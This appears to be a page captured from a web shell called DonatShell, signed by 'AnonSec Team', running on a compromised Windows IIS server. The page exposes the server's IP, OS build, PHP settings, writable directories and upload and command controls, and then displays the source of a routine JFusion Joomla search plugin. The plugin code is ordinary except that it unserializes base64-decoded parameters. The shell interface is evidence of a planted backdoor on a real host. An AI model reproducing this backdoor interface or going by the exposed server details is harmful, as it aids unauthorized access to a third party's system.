DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/plugins/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/plugins/search/jfusion.php
<?php

  /**
 * This is the jfusion user plugin file
 *
 * PHP version 5
 *
 * @category   JFusion
 * @package    Plugins
 * @subpackage Search
 * @author     JFusion Team <webmaster@jfusion.org>
 * @copyright  2008 JFusion. All rights reserved.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link       http://www.jfusion.org
 */

// no direct access
defined('_JEXEC') or die('Restricted access');
/**
 * Load the JFusion framework
 */
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'models' . DS . 'model.factory.php';
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'models' . DS . 'model.jfusion.php';

//get the name of each plugin and add to areas

if(JFusionFunction::isJoomlaVersion('1.6')) {
    /**
	 * Content Search plugin
	 *
	 * @package     Joomla.Plugin
	 * @subpackage  Search.content
	 * @since       1.6
	 */
	class plgSearchJfusion extends JPlugin
	{
        /*
         * constructor
         *
         * @param &$subject
         * @param $config
         */
        /**
         * @param $subject
         * @param $config
         */
        function plgSearchJfusion(&$subject, $config)
	    {
	        parent::__construct($subject, $config);
	        //load the language
	        $this->loadLanguage('plg_search_jfusion', JPATH_BASE);
	    }   
	    
	    /**
	     * @return array An array of search areas
	     */
	    function onContentSearchAreas()
	    {
	        return plgSearchjfusionAreas();
	    }
	
	    /**
	     * Content Search method
	     * The sql must return the following fields that are used in a common display
	     * routine: href, title, section, created, text, browsernav
	     * @param string Target search string
	     * @param string matching option, exact|any|all
	     * @param string ordering option, newest|oldest|popular|alpha|category
	     * @param mixed An array if the search it to be restricted to areas, null if search all
         *
         * @return array
	     */
	    function onContentSearch($text, $phrase='', $ordering='', $areas=null)
	    {
	        return plgSearchjfusion($text,$phrase,$ordering,$areas);
	    }
	}
} else {
	$mainframe = JFactory::getApplication();
	$mainframe->registerEvent('onSearch', 'plgSearchjfusion');
	$mainframe->registerEvent('onSearchAreas', 'plgSearchjfusionAreas');
    JFusionFunction::loadLanguage('plg','search','jfusion');
}

/**
 * Called by joomla framework define the area that can be search in
 *
 * @return array search areas
 */
function &plgSearchjfusionAreas()
{
    static $areas = array();
    //get the software with search enabled
    $plugins = JFusionFactory::getPlugins('both');
    $searchplugin = JPluginHelper::getPlugin('search', 'jfusion');
    $params = new JParameter($searchplugin->params);
    $enabledPlugins = unserialize(base64_decode($params->get('JFusionPluginParam')));
    if (is_array($plugins) && is_array($enabledPlugins)) {
        foreach ($plugins as $plugin) {
            if (array_key_exists($plugin->name, $enabledPlugins)) {
                //make sure that search is enabled
                $title = (!empty($enabledPlugins[$plugin->name]['title'])) ? $enabledPlugins[$plugin->name]['title'] : $plugin->name;
                $areas[$plugin->name] = $title;
            }
        }
    }
    return $areas;
}
/**
 * Search Function Called by the joomla framework
 *
 * @param string $text     Search text
 * @param string $phrase   Phrases
 * @param string $ordering How to order the search results: null, oldest, popular, category, alpha, or newest
 * @param array  $areas    What area to search
 *
 * @return array with results
 */
function plgSearchjfusion($text, $phrase = '', $ordering = '', $areas = null)
{
    //no text to search
    if (!$text) {
        return array();
    }
    $searchPlugins = plgSearchjfusionAreas();
    if (is_array($areas)) {
        //jfusion plugins to search
        $searchPlugins = array_intersect($areas, array_keys($searchPlugins));
        if (empty($searchPlugins)) {
            return array();
        }
    } else {
        //we need to extract the keys since they are the jnames
        $searchPlugins = array_keys($searchPlugins);
    }
    //get the search plugin parameters
    $plugin = JPluginHelper::getPlugin('search', 'jfusion');
    $params = new JParameter($plugin->params);
    $pluginParamValue = $params->get('JFusionPluginParam');
    $pluginParamValue = unserialize(base64_decode($pluginParamValue));
    //To hold all the search results
    $sortableResults = array();
    //special array to hold the results that cannot be sorted based on $ordering
    $unsortableResults = array();

    //fields required in order to be able to sort
    switch ($ordering) {
    case 'category':
            $sortField = 'section';
        break;
    case 'alpha':
            $sortField = 'title';
        break;
    case 'popular':
            $sortField = 'hits';
        break;
    case 'oldest':
    case 'newest':
    default:
            $sortField = 'created';
        break;
    }

    foreach ($searchPlugins AS $jname) {
        $searchMe = JFusionFactory::getPublic($jname);
        if (is_array($pluginParamValue)) {
            $pluginParam = new JParameter('');
            $pluginParam->loadArray($pluginParamValue[$jname]);
        } else {
            $pluginParam = new JParameter('');
        }
        $itemid = $pluginParam->get('itemid');
        $results = $searchMe->getSearchResults($text, $phrase, $pluginParam, $itemid, $ordering);
        if (is_array($results)) {
            //check to see if the results contain the appropriate field
            if (isset($results[0]->$sortField)) {
        	    $sortableResults = array_merge($sortableResults, $results);
            } else {
                $unsortableResults = array_merge($unsortableResults, $results);
            }
    	}
    }

    //sort the results
    jimport('joomla.utilities.array');
    switch ($ordering) {
    case 'oldest':
            JArrayHelper::sortObjects($sortableResults, 'created');
        break;
    case 'category':
            JArrayHelper::sortObjects($sortableResults, 'section');
        break;
    case 'alpha':
            JArrayHelper::sortObjects($sortableResults, 'title');
        break;
    case 'popular':
            JArrayHelper::sortObjects($sortableResults, 'hits');
        break;
    case 'newest':
    default:
            JArrayHelper::sortObjects($sortableResults, 'created', -1);
        break;
    }

    //tak on unsortable results to the end
    $searchResults = array_merge($sortableResults, $unsortableResults);
    return $searchResults;
}

Anon7 - 2022
AnonSec Team